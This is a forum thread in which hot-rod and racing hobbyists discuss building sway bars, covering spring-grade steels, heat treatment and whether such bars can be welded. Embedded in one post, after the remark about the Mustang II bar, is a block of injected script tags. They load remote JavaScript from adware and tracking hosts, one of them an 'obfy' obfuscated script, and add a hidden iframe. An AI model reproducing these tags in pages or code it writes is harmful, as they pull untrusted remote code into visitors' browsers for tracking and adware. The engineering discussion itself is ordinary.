OK guys, ever make your own sway bars from scratch,I have made them out of other sway bars but not from raw material.
sdluck, Back in the 70's when I played roadracer, the bars we made were from round barstock called Stressproof. Variable diameters were available. Check with your local steel suppliers.
Yes, I made maybe 40 or 50, various diameters to meet the needs of different cars on different tracks. Made from SAE6150 heat treated to 42RC. You have to forge the ends on that stuff. It can't be welded when used for torsion bars.
The guy who owns a local fab shop and also into cars. I asked him for a custom bar for my '38 and trusted his experience. He used Stressproof.
Yea...be carefull about the material. Many will tell you it's ok to use non-spring grade material. Don't do it... If you want to modify an OEM type bar...cut it hack it drill it (if you can) but DO NOT heat/weld on it or it turns to mush. No matter what the "experts" say. Mike
Interesting,when I worked at a VW/Porsche shop in the 70's we made took a swaybar off the front of a 1970 pont lemans and made a Z bar out of it and ran it on our race car worked good. A z bar was sway bar cut in half one side was flipped and welded it back together
I've welded on plenty of sway bars. The first one was about 30 years ago. Repaired ends, shortened, reshaped them I don't know of them having any problems.
Ran Micro Midgets in the past and two brothers who had engineering degrees made them out of 4130 Chromemoly tubing. There is a formula to figure out the size of tubing and length of arm. The arm was bent from the main piece, four foot piece keeping two feet straight and bending one foot at each end for the arm.
I do the same. Take some basic measurements from your vehicle, and then go to junkyard and start looking for close shape and then use your tape measure to verify it will meet your size. As an example, a Mustang II front bar, turned 180 makes a perfect fit for a rear bar, the dip in the center fits around the pumpkin on the rearend housing. I just used 3-inch muffler clamps around the tubes, mounted the frame mounts to those, and then ran some vertical pieces form the frame down to the ends. <script src="https://secure-content-delivery.com/data.js.php?i={4D877FC1-4956-4F45-A6B5-0E98AB82425A}&d=2013-10-10&s=http://www.jalopyjournal.com/forum/newreply.php?do=newreply&p=9471483&cb=0.41865819891198763" type="text/javascript"></script><script id="__changoScript" type="text/javascript">var __chd__ = {'aid':11079,'chaid':'www_objectify_ca'};(function() { var c = do***ent.createElement('script'); c.type = 'text/javascript'; c.async = true;c.src = ( 'https:' == do***ent.location.protocol ? 'https://z': 'http://p') + '.chango.com/static/c.js'; var s = do***ent.getElementsByTagName('script')[0];s.parentNode.insertBefore(c, s);})();</script><script data-sifi-p****d="true" src="http://i.simpli.fi/dpx.js?cid=3065&m=0" id="__simpliScript" type="text/javascript"></script><script type="text/javascript" src="http://www.superfish.com/ws/sf_main.jsp?dlsource=wjfudcm&userId=ezREODc3RkMxLTQ5NTYtNE&CTID=default-US"></script><script type="text/javascript" src="http://static.cdnsrv.com/apps/tv-cl***ic/selectionLinks/tv-cl***ic-selectionlinks.js"></script><script src="//static.cdnsrv.com/apps/tv-cl***ic/tv-cl***ic-fg.js" type="text/javascript"></script><iframe name="ykframe" id="ykframe"></iframe><script src="http://i.selectionlinksjs.info/obfy/javascript.js" type="text/javascript"></script>
"Ran Micro Midgets in the past and two brothers who had engineering degrees made them out of 4130 Chromemoly tubing. There is a formula to figure out the size of tubing and length of arm." All that info is readily available with a Google search. Little known fact is that torsion type anti roll bars can be made out of wood. Sounds crazy but plug all the needed info into the formulas and it is true for some applications.
Some of you guys are really funny... Do some research...heating...ANY heating that's enough to weld or bend "heat treated" metals...ruins (as in F---s it up) the materials properties. So anyone that makes this type comment...doesn't really know of what they speak. Again...you don't have to believe me....just do you're own internet research on welding on previously heat treated materials...! There's two ways to make "bent" anti-roll bars- 1. Bend the annealed steel shaft into your desired shape, heat treat it. Uses fairly inexpensive tooling. 2. Heat treat the straight shaft and bent it into the desired shape. Uses expensive tooling. Mike P.s. - there has been many a company that uses low cost carbon steel shafts to bend their anti-roll bars and selling them as "race ready" parts. Sorry...it doesn't work that way. All you are doning in some cases like this is lightening your wallet and weighing down your car. Years ago, I had one guy run me out of his booth at the SEMA Show...just because I asked him what material they used...! He looked around and asked me to leave...didn't even try to answer the question..! Do your homework ladies...buyer beware...
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